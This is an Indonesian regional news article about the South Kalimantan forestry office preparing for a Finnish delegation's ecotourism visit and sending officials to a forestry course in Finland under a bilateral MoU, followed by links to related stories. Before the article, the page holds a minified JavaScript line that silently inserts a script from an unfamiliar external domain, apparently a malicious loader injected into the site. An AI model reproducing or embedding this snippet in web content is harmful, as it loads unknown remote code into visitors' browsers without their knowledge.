(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Persiapan Dinas Kehutanan Kalsel guna menyambut kedatangan delegasi Filnlandia yang berkunjung ke Indonesia terus dilakukan. Salah satunya, koordinasi dengan Duta Besar terkait Ecotorism yang akan di kunjungi delegasi di salah satu rumah makan di Jakarta. Hadir juga pejabat Esselon II Provinsi Kalsel di antaranya ESDM, PMPTSP, Bappeda, Disbunak dan PU.
Tim delegasi Finlandia di antaranya wartawan TV , majalah wisata & mode, blogger dan tour operator yang akan mengunjungi Ecotourism Kalsel yang rencana akan dijadwalkan pada Maret 2019 ini. “Kedatangan delegasi Finlandia ini diharapkan dapat memperkenalkan Kalimantan Selatan dimata International,” kata Kadishut Kalsel Dr.Hanif Faisol Nurofiq, S.Hut, MP.
Dishut Kalsel memang memiliki hubungan khusus dengan Finlandia. Beberapa waktu lalu, Sekretaris Daerah Provinsi (Sekdaprov) Kalsel H Abdul Haris Makkie melepas 9 peserta kursus singkat bidang kehutanan ke Finlandia di Dinas Kehutanan Kalsel, Kamis (4/10).
Acara pelepasan diikuti perwakilan Fakultas Kehutanan Universitas Lambung Mangkurat, Bappeda, BKD dan para pejabat Dinas Kehutanan Provinsi Kalsel. Sekdaprov Kalsel H Abdul Haris Makkie mengatakan, pihaknya mengharapkan 9 peserta itu dapat mengadopsi tata cara pengelolaan hutan di Finlandia.
“Karena kita tahu, Finlandia termasuk negara yang baik pengelolaan hutannya. Keberangkatan peserta juga merupakan bagian dari tindak lanjut MoU yang sudah dilakukan antara pemerintah Indonesia dan Finlandia,†ujarnya kepada wartawan usai acara pelepasan.
Kepada peserta kursus singkat itu, ia berharap dapat membawa hasil maksimal yang dapat diterapkan dalam manajemen hutan di Kalsel termasuk dalam hal pemeliharaan lingkungan.
Sementara itu, Kepala Dinas Kehutanan Provinsi Kalsel Hanif Faisol Nurofiq mengatakan, tindak lanjut dari kursus singkat tersebut akan diseminarkan di Kalsel pada 19 November-17 Desember. Kursus tersebut menurutnya merupakan fondasi nyata yang dibangun Pemprov Kalsel untuk pembangunan sektor kehutanan. “Dari short course itu nanti, kita akan tentukan bidang-bidang apa saja yang dikhususkan. Untuk kemudian kita berangkatkan lagi mahasiswa pada jenjang S2 dan S3,†ujarnya.
Dalam hal ini, telah dilaksanakan penandatanganan nota kesepahaman antara Menteri Lingkungan Hidup dan Kehutanan RI dan Menteri Kehutanan dan Pertanian Finlandia di Helsinki pada 7 April 2018 lalu. Pemprov Kalsel diwakili Sekretaris Daerah Provinsi turut menghadiri penandatanganan MoU tersebut.
Hanif menyebutkan, potensi hutan di Provinsi Kalsel masih sangat besar, dengan luasan 1,7 juta hektare (46% Kalimantan Selatan), namun manfaat yang diberikan masih belum signifikan. Maka Pemprov Kalsel memandang sangat perlu untuk mengimplementasikan MoU Helsinki di Provinsi Kalsel.(rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.